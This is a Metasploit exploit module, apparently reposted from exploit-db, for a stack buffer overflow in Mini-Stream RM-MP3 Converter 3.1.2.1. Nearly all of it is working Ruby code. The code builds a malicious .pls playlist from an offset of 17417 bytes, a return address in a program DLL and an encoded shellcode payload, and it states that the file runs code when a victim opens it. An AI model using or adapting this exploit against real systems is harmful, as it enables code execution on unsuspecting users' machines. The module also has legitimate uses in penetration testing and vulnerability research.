Mini-stream RM-MP3 Converter 3.1.2.1 – ‘.pls’ Local Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-11-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18113/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',
    			'Description'=> %q{ 
    				This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
    				Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim 
    				opens the malicious PLS file.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Madjix', # original discovery
    					'Tiago Henriques',# metasploit module
    					'James Fitts' # clean ups
    				],
    			'Version'=> '$Revision: $',
    			'References' =>
    				[
    					[ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],
    					[ 'BID', '34514' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'DisablePayloadHandler' => 'true',
    				},
    			'Payload'=>
    				{
    					'Space' => 1500,
    					'BadChars' => "\x00\x09\x0a",
    					'DisableNops' => 'True',
    					'StackAdjustment' => -3500,
    					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
    					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
    					'EncoderOptions' =>
    						{
    							'BufferRegister' => 'ECX',
    						},
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[
    						'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
    						{
    							'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
    							'Offset' => 17417
    						} 
    					]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Jul 16 2010',
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					OptString.new('FILENAME', [ true, 'The file name.','msf.pls']),
    				], self.class)
    	end
    
    	def exploit
    
    		pls ="http://"
    		pls << rand_text_alpha_upper(target['Offset'])
    		pls << [target.ret].pack('V')
    		pls << rand_text_alpha_upper(8)
    		pls << payload.encoded
    
    		print_status("Creating '#{datastore['FILENAME']}' file ...")
    
    		file_create(pls)
    
    	end
    
    end